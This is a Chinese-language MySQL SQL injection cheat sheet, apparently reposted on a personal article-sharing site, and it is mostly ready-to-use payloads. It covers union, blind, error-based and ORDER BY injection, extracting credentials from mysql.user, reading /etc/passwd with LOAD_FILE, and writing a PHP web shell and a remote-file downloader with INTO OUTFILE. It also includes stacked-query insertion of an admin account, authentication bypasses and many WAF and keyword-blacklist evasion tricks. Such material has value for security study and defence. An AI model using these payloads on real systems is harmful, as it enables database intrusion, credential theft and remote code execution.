我的图书,我... / SQL / Mysql数据库注入科普 注入技巧招式大全

分享

   

Mysql数据库注入科普 注入技巧招式大全

2020-08-13  我的图书...

0X01   注入科普

默认存在的数据库:

mysql 需要root权限读取information_schema   在5以上的版本中存在

测试是否存在注入方法

假:表示查询是错误的 (MySQL 报错/返回页面与原来不同)

真:表示查询是正常的 (返回页面与原来相同)

共三种情况:

例子:

SELECT * FROM Users WHERE id = '1''';SELECT * FROM Users WHERE id = 3-2;SELECT * FROM Users WHERE username = 'Mike' AND password = '' OR '' = '';

可以使用很多单双引号,只要是成对出现。

SELECT * FROM Articles WHERE id = '121''''''''''''

引号后的语句会继续执行。

SELECT '1''''''' UNION SELECT '2' # 1 and 2

下面的符号可以用来注释语句:

例子:

SELECT * FROM Users WHERE username = '' OR 1=1 -- -' AND password = '';SELECT * FROM Users WHERE id = '' UNION SELECT 1, 2, 3`';

测试数据库版本

VERSION()@@VERSION@@GLOBAL.VERSION

如果版本为5的话,下面例子返回为真:

SELECT * FROM Users WHERE id = '1' AND MID(VERSION(),1,1) = '5';

windows平台上的mysql查询与linux上返回不同,如果是windows服务器返回结果会包含 -nt-log字符。

数据库认证信息:

表  mysql.user字段  user, password当前用户  user(), current_user(), current_user, system_user(), session_user()

例子:

SELECT current_user;SELECT CONCAT_WS(0x3A, user, password) FROM mysql.user WHERE user = 'root'-- (Privileged)

数据库名:

表  information_schema.schemata, mysql.db字段  schema_name, db当前数据库  database(), schema()

例子:

SELECT database();SELECT schema_name FROM information_schema.schemata;SELECT DISTINCT(db) FROM mysql.db;-- (Privileged)
服务器主机名:@@HOSTNAME

例子:

SELECT @@hostname;

查表和字段

检测字段数

两种方式:

ORDER BY判断  ORDER BY n+1; 让n一直增加直到出现错误页面。 例子:  查询语句 SELECT username, password, permission FROM Users WHERE id = '1';   1' ORDER BY 1--+ 真 1' ORDER BY 2--+ 真 1' ORDER BY 3--+ 真 1' ORDER BY 4--+ 假- 查询只用了3个字段 -1' UNION SELECT 1,2,3--+ 真基于错误查询  AND (SELECT * FROM SOME_EXISTING_TABLE) = 1 注意: 这种方式需要你知道所要查询的表名。 这种报错方式返回表的字段数,而不是错误的查询语句。 例子:  查询语句 SELECT permission FROM Users WHERE id = 1; AND (SELECT * FROM Users) = 1  返回Users的字段数

查询表名

三种方式:

Union方式 UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE version=10;-- MySQL 4版本时用version=9,MySQL 5版本时用version=10盲注 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > 'A'报错 AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),FLOOR(RAND(0)*2))) (@:=1)||@ GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),!@) HAVING @||MIN(@:=0); AND ExtractValue(1, CONCAT(0x5c, (SELECT table_name FROM information_schema.tables LIMIT 1)));-- 在5.1.5版本中成功。

查询列名

Union方式  UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'tablename'盲注  AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > 'A'报错  AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),FLOOR(RAND(0)*2))) (@:=1)||@ GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),!@) HAVING @||MIN(@:=0); AND ExtractValue(1, CONCAT(0x5c, (SELECT column_name FROM information_schema.columns LIMIT 1)));-- 在5.1.5版本中成功。AND (1,2,3) = (SELECT * FROM SOME_EXISTING_TABLE UNION SELECT 1,2,3 LIMIT 1)-- MySQL 5.1版本修复了利用PROCEDURE ANALYSE()  这个需要web展示页面有你所注入查询的一个字段。 例子: 查询语句 SELECT username, permission FROM Users WHERE id = 1; 1 PROCEDURE ANALYSE() 获得第一个段名 1 LIMIT 1,1 PROCEDURE ANALYSE() 获得第二个段名 1 LIMIT 2,1 PROCEDURE ANALYSE() 获得第三个段名

一次查询多个表或列

SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x

例子:

SELECT * FROM Users WHERE id = '-1' UNION SELECT 1, 2, (SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x), 4--+';

输出结果:

[ information_schema ] >CHARACTER_SETS > CHARACTER_SET_NAME [ information_schema ] >CHARACTER_SETS > DEFAULT_COLLATE_NAME [ information_schema ] >CHARACTER_SETS > DESCRIPTION [ information_schema ] >CHARACTER_SETS > MAXLEN [ information_schema ] >COLLATIONS > COLLATION_NAME [ information_schema ] >COLLATIONS > CHARACTER_SET_NAME [ information_schema ] >COLLATIONS > ID [ information_schema ] >COLLATIONS > IS_DEFAULT [ information_schema ] >COLLATIONS > IS_COMPILED

利用代码:

SELECT MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20, table_name, 0x3c62723e, 0x436f6c756d6e3a20, column_name ORDER BY (SELECT version FROM information_schema.tables) SEPARATOR 0x3c62723e),1,1024) FROM information_schema.columns

例子:

SELECT username FROM Users WHERE id = '-1' UNION SELECT MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20, table_name, 0x3c62723e, 0x436f6c756d6e3a20, column_name ORDER BY (SELECT version FROM information_schema.tables) SEPARATOR 0x3c62723e),1,1024) FROM information_schema.columns;

输出结果:

Table: talk_revisionsColumn: revid
Table: talk_revisionsColumn: userid
Table: talk_revisionsColumn: user
Table: talk_projectsColumn: priority

根据列名查询所在的表

查询字段为username的表SELECT table_name FROM information_schema.columns WHERE column_name = 'username';  查询字段中包含user的表SELECT table_name FROM information_schema.columns WHERE column_name LIKE '%user%';

根据表查询包含的字段

查询user表中的字段SELECT column_name FROM information_schema.columns WHERE table_name = 'Users';查询包含user字符串表中的字段SELECT column_name FROM information_schema.columns WHERE table_name LIKE '%user%';

绕过引号限制

Hex编码SELECT * FROM Users WHERE username = 0x61646D696E 利用CHAR()函数SELECT * FROM Users WHERE username = CHAR(97, 100, 109, 105, 110)

绕过字符串黑名单

SELECT 'a' 'd' 'mi' 'n';SELECT CONCAT('a', 'd', 'm', 'i', 'n');SELECT CONCAT_WS('', 'a', 'd', 'm', 'i', 'n');SELECT GROUP_CONCAT('a', 'd', 'm', 'i', 'n');

使用CONCAT()时,任何个参数为null,将返回null, 推荐使用CONCAT_WS() 。

CONCAT_WS() 函数第一个参数表示用哪个字符间隔所查询的结果。

条件语句

CASEIF()IFNULL()NULLIF()

例子:

SELECT IF(1=1, true, false);
SELECT CASE WHEN 1=1 THEN true ELSE false END;

时间延迟查询:

SLEEP() MySQL 5
BENCHMARK() MySQL 4/5

例子:

' - (IF(MID(version(),1,1) LIKE 5, BENCHMARK(100000,SHA1('true')), false)) - '

权限

文件权限

下面的语句可以查询用户读写文件操作权限:

需要root用户来执行 MySQL 4/5SELECT file_priv FROM mysql.user WHERE user = 'username'; 普通用户都可以 MySQL 5SELECT grantee, is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'file' AND grantee like '%username%';

读取文件

如果用户有文件操作权限可以读取文件:

LOAD_FILE()

例子:

SELECT LOAD_FILE('/etc/passwd');SELECT LOAD_FILE(0x2F6574632F706173737764);
文件必须在服务器上。
LOAD_FILE()函数操作文件的当前目录是@@datadir 。
MySQL用户必须拥有对此文件读取的权限。
文件大小必须小于 max_allowed_packet。
@@max_allowed_packet的默认大小是1047552 字节.

写文件

如果用户有文件操作权限可以写文件。

INTO OUTFILE/DUMPFILE

写一个php的shell:

SELECT '<? system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php';

访问如下链接:

http://localhost/shell.php?c=cat%20/etc/passwd

写一个下载者:

SELECT '<? fwrite(fopen($_GET[f], \'w\'), file_get_contents($_GET[u])); ?>' INTO OUTFILE '/var/www/get.php'

访问如下链接:

http://localhost/get.php?f=shell.php&u=http://localhost/c99.txt
INTO OUTFILE 不可以覆盖已存在的文件。INTO OUTFILE 必须是最后一个查询。引号是必须的,因为没有办法可以编码路径名。

PDO堆查询方式操作数据库

PHP使用PDO_MYSQL来连接数据库,便可以使用堆查询,堆查询可以同时执行多个语句。

SELECT * FROM Users WHERE ID=1 AND 1=0; INSERT INTO Users(username,password,priv) VALUES ('BobbyTables', 'kl20da$$','admin');

MySql特有的写法

MySql中,/*! SQL 语句 */ 这种格式里面的 SQL 语句会当正常的语句一样被解析。

如果在!之后是一串数字(这串数字就是 mysql 数据库的版本号), 如:/*! 12345 SQL 语句 */

当版本号大于等于该数字,SQL 语句则执行,否则就不执行。

SELECT 1/*!41320UNION/*!/*!/*!00000SELECT/*!/*!USER/*!(/*!/*!/*!*/);

模糊和混淆

允许的字符

例子:

'%0A%09UNION%0CSELECT%A0NULL%20%23

括号也可以用来绕过过滤空格的情况:

28(
29)

例子:

UNION(SELECT(column)FROM(table))

例子:

UNION(SELECT(column)FROM(table))

AND或OR后面可以跟的字符

例子:

SELECT 1 FROM dual WHERE 1=1 AND-+-+-+-+~~((1))

dual是一个虚拟表,可以用来做测试。

几个针对黑名单绕过的例子

基于关键字的黑名单

过滤关键字        and orphp代码          preg_match('/(and|or)/i',$id)会过滤的攻击代码  1 or 1=1 1 and 1=1绕过方式          1 || 1=1 1 && 1=1

下面这种方式你需要已经知道一些表和字段名(可以利用substring函数去一个一个获得information_schema.columns表中的数据)

过滤关键字 and or unionphp代码 preg_match('/(and|or|union)/i',$id)会过滤的攻击代码 union select user,password from users绕过方式 1 && (select user from users where userid=1)='admin'过滤关键字        and or union wherephp代码 preg_match('/(and|or|union|where)/i',$id)会过滤的攻击代码 1 && (select user from users where user_id = 1) = 'admin'绕过方式         1 && (select user from users limit 1) = 'admin'过滤关键字       and or union wherephp代码 preg_match('/(and|or|union|where)/i',$id)会过滤的攻击代码 1 && (select user from users where user_id = 1) = 'admin'绕过方式 1 && (select user from users limit 1) = 'admin'过滤关键字 and, or, union, where, limitphp代码 preg_match('/(and|or|union|where|limit)/i', $id)会过滤的攻击代码 1 && (select user from users limit 1) = 'admin'绕过方式 1 && (select user from users group by user_id having user_id = 1) = 'admin'#user_id聚合中user_id为1的user为admin过滤关键字 and, or, union, where, limit, group byphp代码 preg_match('/(and|or|union|where|limit|group by)/i', $id)会过滤的攻击代码 1 && (select user from users group by user_id having user_id = 1) = 'admin'绕过方式 1 && (select substr(group_concat(user_id),1,1) user from users ) = 1过滤关键字 and, or, union, where, limit, group by, selectphp代码 preg_match('/(and|or|union|where|limit|group by|select)/i', $id)会过滤的攻击代码 1 && (select substr(gruop_concat(user_id),1,1) user from users) = 1绕过方式 1 && substr(user,1,1) = 'a'过滤关键字 and, or, union, where, limit, group by, select, 'php代码 preg_match('/(and|or|union|where|limit|group by|select|\')/i', $id)会过滤的攻击代码 1 && (select substr(gruop_concat(user_id),1,1) user from users) = 1绕过方式 1 && user_id is not null 1 && substr(user,1,1) = 0x61 1 && substr(user,1,1) = unhex(61)过滤关键字 and, or, union, where, limit, group by, select, ', hexphp代码 preg_match('/(and|or|union|where|limit|group by|select|\'|hex)/i', $id)会过滤的攻击代码 1 && substr(user,1,1) = unhex(61)绕过方式 1 && substr(user,1,1) = lower(conv(11,10,16)) #十进制的11转化为十六进制,并小写。过滤关键字 and, or, union, where, limit, group by, select, ', hex, substrphp代码 preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr)/i', $id)会过滤的攻击代码 1 && substr(user,1,1) = lower(conv(11,10,16))/td>绕过方式 1 && lpad(user,7,1)过滤关键字 and, or, union, where, limit, group by, select, ', hex, substr, 空格php代码 preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr|\s)/i', $id)会过滤的攻击代码 1 && lpad(user,7,1)/td>绕过方式 1%0b||%0blpad(user,7,1)过滤关键字 and or union wherephp代码 preg_match('/(and|or|union|where)/i',$id)会过滤的攻击代码 1 || (select user from users where user_id = 1) = 'admin'绕过方式  1 || (select user from users limit 1) = 'admin'

利用正则表达式进行盲注

    我们都已经知道,在MYSQL 5+中 information_schema库中存储了所有的 库名,表明以及字段名信息。故攻击方式如下:

1、判断第一个表名的第一个字符是否是a-z中的字符,其中blind_sqli是假设已知的库名。

index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA='blind_sqli' AND table_name REGEXP '^[a-z]' LIMIT 0,1) /*

2、判断第一个字符是否是a-n中的字符

index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA='blind_sqli' AND table_name REGEXP '^[a-n]' LIMIT 0,1)/*

3、确定该字符为n

index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables  WHERE TABLE_SCHEMA='blind_sqli' AND table_name REGEXP '^n' LIMIT 0,1) /*

4、表达式的更换如下

'^n[a-z]' -> '^ne[a-z]' -> '^new[a-z]' -> '^news[a-z]' -> FALSE

这时说明表名为news ,要验证是否是该表明 正则表达式为'^news$',但是没这必要 直接判断 table_name = 'news' 不就行了。

5、接下来猜解其它表了 只需要修改 limit 1,1 -> limit 2,1就可以对接下来的表进行盲注了。

order by后的注入

oder by由于是排序语句,所以可以利用条件语句做判断,根据返回的排序结果不同判断条件的真假。

一般带有oder或者orderby的变量很可能是这种注入,在知道一个字段的时候可以采用如下方式注入:

原始链接:http://www.test.com/list.php?order=vote 根据vote字段排序。

找到投票数最大的票数num然后构造以下链接:

http://www.test.com/list.php?order=abs(vote-(length(user())>0)*num)+asc

看排序是否变化。

还有一种方法不需要知道任何字段信息,使用rand函数:

http://www.test.com/list.php?order=rand(true)
http://www.test.com/list.php?order=rand(false)

以上两个会返回不同的排序,判断表名中第一个字符是否小于128的语句如下:

http://www.test.com/list.php?order=rand((select char(substring(table_name,1,1)) from information_schema.tables limit 1)<=128))

宽字节注入

    sql注入中的宽字节国内最常使用的gbk编码,这种方式主要是绕过addslashes等对特殊字符进行转移的绕过。反斜杠()的十六进制为%5c,在你输入%bf%27时,函数遇到单引号自动转移加入\,此时变为%bf%5c%27,%bf%5c在gbk中变为一个宽字符“縗”。%bf那个位置可以是%81-%fe中间的任何字符。不止在sql注入中,宽字符注入在很多地方都可以应用。

0x01、注入技巧

    很多东西都是一样的,但是有一些小技巧确实很使用。以下所有技巧都只在mysql适用,因为它太灵活了

MYSQl灵活的语法

1 MySQL语法以及认证绕过

注释符:#, -- X(X为任意字符)
/*(MySQL-5.1)
;%00`'or 1=1;%00
'or 1=1 union select 1,2`'
'or 1=1 #
'/*!50000or*/ 1=1 -- - //版本号为5.1.38时只要小于50138
'/*!or*/ 1=1 -- -

前缀:

任意混合 + - ~ !

'or --+2=- -!!!'2

测试后发现and/or后面可以跟上偶数个!、~可以替代空格,也可以混合使用(混合后规律又不同),and/or前的空格可以省略

'or- -!!!1=1;

运算符:

^, =, !=, %, /, *, &, &&, |, ||, <, >, <<, >>, >=, <=, <>, <=>, XOR,DIV, SOUNDS LIKE, RLIKE, REGEXP, IS, NOT, BETWEEN,……'or 1 rlike '1

空格替换:%20, %09, %0a, %0b, %0c, %0d, %a0

也可以插入括号,前缀,操作符,引号

'or+(1)sounds/**/like'1'--%a0-

字符串格式

   ' or 'a'='a'
' or 'a'=n'a' //unicode
' or 'a'=b'1100001' //binary
' or 'a'=_binary'1100001' //5.5.41下测试无效
' or 'a'=x'61' //16进制

2、MySQL常用的一些小工具

常量:true, false, null, \N, current_timestamp....

变量:@myvar:=1

系统变量:@@version, @@datadir....

常用函数:version(), pi(), pow(), char(), substring()....

3、MySQL类型转换

' or 1=true #true=1, false=0' or 1 #true' or version()=5.5 #5.5.41-log' or round(pi(),1)+true+true+0.4=version() #3.1+1+1+0.4select * from users where 'a'='b'='c'select * from users where ('a'='b')='c'select * from users where (false)='c'select * from users where (0)='c'select * from users where (0)=0select * from users where trueselect * from users

以上的语句都是同样的效果

4、认证绕过

绕过语句:'='

select data from users where name='='
select data from users where flase='
select data from users where 0=0

绕过语句:'-'

select data from users where name=''-''
select data from users where name=0-0
select data from users where 0=0

关键字过滤

空格

过滤代码/\s/

%20, %09, %0a, %0b, %0c, %0d, %a0

关键字OR,AND

过滤代码/\sor\s/i,/\sand\s/i

'||1='1 #or
'='
'&&1='1 #and

关键字union select

过滤代码/union\s+select/i

'and(true)like(false)union(select(pass)from(users))#
'union [all|distinct] select pass from users#
'union%a0select pass from users#
'union/*!select*/pass from users#
/vuln.php?id=1 union/*&sort=*/select pass from users-- -

如果单独过滤union,使用盲注来获取数据

'and(select pass from users limit 1)='secret

通过子查询获取单值来进行比较

关键字limit

过滤代码/limit/i

'and(select pass from users where id=1)='a
'and(select pass from users group by id having id=1)='a
'and length((select pass from users having substr(pass,1,1)='a'))

关键字having

过滤代码/having/i

'and(select substr(group_concat(pass),1,1)from users)='a

关键字select ... from

过滤代码/SELECT\s+[A-Za-z.]+\s+FROM/i/i

select [all|distinct] pass from users
select`table_name`from`information_schema` . `tables`
select pass as alias from users
select pass aliasalias from users
select pass`alias alias`from users
select+pass%a0from(users)

关键字select

过滤代码/select/i

1 有文件读取权限

' and substr(load_file('file'),locate('DocumentRoot',(load_file('file')))+
length('DocumentRoot'),10)='a'='' into outfile '/var/www/dump.txt

2 获取列名

' and 列名 is not null#
' procedure analyse()#

使用substr来做过滤条件

'and substr(pass,1,1)='a

关键字select,and,&

'0#

select data from users where name = ''-0 # int typecast
select data from users where name = 0 # int typecast
select data from users where 0 = 0 # true

'-1#

select data from users where 0 = -1 # false

使用条件判断来进行true、false的选择

ifnull(nullif()), case when, if()
'-if(name='Admin',1,0)#

使用嵌套条件'-if(

if(name='Admin',1,0), // condition
if(substr(pass,1,1)='a',1,0) // if true
,0)# // if false

函数过滤

构建字符串相关函数

unhex char hex ascii ord substr substring mid pad left right insert
' and substr(data,1,1) = 'a'#
' and substr(data,1,1) = 0x61# 0x6162
' and substr(data,1,1) = unhex(61)# unhex(6162)
' and substr(data,1,1) = char(97)# char(97,98)
' and hex(substr(data,1,1)) = 61#
' and ascii(substr(data,1,1)) = 97#
' and ord(substr(data,1,1)) = 97#

使用conv来进行进制的转换

' and substr(data,1,1) = lower(conv(10,10,36))# 'a'
' and substr(data,1,1) = lower(conv(11,10,36))# 'b'
' and substr(data,1,1) = lower(conv(36,10,36))# 'z'

使用函数来猜解数据

' and substr(data,1,1) = 'a'#
' and substring(data,1,1) = 'a'#
' and mid(data,1,1) = 'a'#

不适用逗号来获取

' and substr(data from 1 for 1) = 'a'#

同样也可以使用一下比较少见的函数来尝试绕过

lpad(data,1,space(1)) // lpad('hi',4,'?') = '??hi'
rpad(data,1,space(1)) // rpad('hi',4,'?') = 'hi??'
left(data,1)
reverse(right(reverse(data),1))
insert(insert(version(),1,0,space(0)),2,222,space(0))

有些函数有类似搜索匹配的功能

'-if(locate('f',data),1,0)#
'-if(locate('fo',data),1,0)#
'-if(locate('foo',data),1,0)#
instr(), position()

使用函数进行字符串的切割

length(trim(leading 'a' FROM data)) # length will be shorter
length(replace(data, 'a', '')) # length will be shorter

2种方式都是相同效果

注入时主要使用的一些东西

1个控制流程操作(select, case, if(), ...)
1个比较操作(=, like, mod(), ...)
1个字符串的猜解(mid(), left(), rpad(), …)
1个字符串生成(0x61, hex(), conv())

使用conv([10-36],10,36)可以实现所有字符的表示

false !pi()           0     ceil(pi()*pi())           10 A      ceil((pi()+pi())*pi()) 20       K
true !!pi() 1 ceil(pi()*pi())+true 11 B ceil(ceil(pi())*version()) 21 L
true+true 2 ceil(pi()+pi()+version()) 12 C ceil(pi()*ceil(pi()+pi())) 22 M
floor(pi()) 3 floor(pi()*pi()+pi()) 13 D ceil((pi()+ceil(pi()))*pi()) 23 N
ceil(pi()) 4 ceil(pi()*pi()+pi()) 14 E ceil(pi())*ceil(version()) 24 O
floor(version()) 5 ceil(pi()*pi()+version()) 15 F floor(pi()*(version()+pi())) 25 P
ceil(version()) 6 floor(pi()*version()) 16 G floor(version()*version()) 26 Q
ceil(pi()+pi()) 7 ceil(pi()*version()) 17 H ceil(version()*version()) 27 R
floor(version()+pi()) 8 ceil(pi()*version())+true 18 I ceil(pi()*pi()*pi()-pi()) 28 S
floor(pi()*pi())      9     floor((pi()+pi())*pi())   19 J      floor(pi()*pi()*floor(pi())) 29 T

参考

http://www.ptsecurity.com/download/PT-devteev-CC-WAF-ENG.pdfhttps://media.blackhat.com/bh-us-12/Briefings/Ristic/BH_US_12_Ristic_Protocol_Level_Slides.pdfhttp://www.blackhatlibrary.net/SQL_injectionhttp://websec.ca/kb/sql_injection

    本站是提供个人知识管理的网络存储空间,所有内容均由用户发布,不代表本站观点。请注意甄别内容中的联系方式、诱导购买等信息,谨防诈骗。如发现有害或侵权内容,请点击一键举报。

    0条评论

    发表

    请遵守用户 评论公约

    类似文章 更多
    喜欢该文的人也喜欢 更多

    ×
    ×

    ¥.00

    微信或支付宝扫码支付:

    开通即同意《个图VIP服务协议》

    全部>>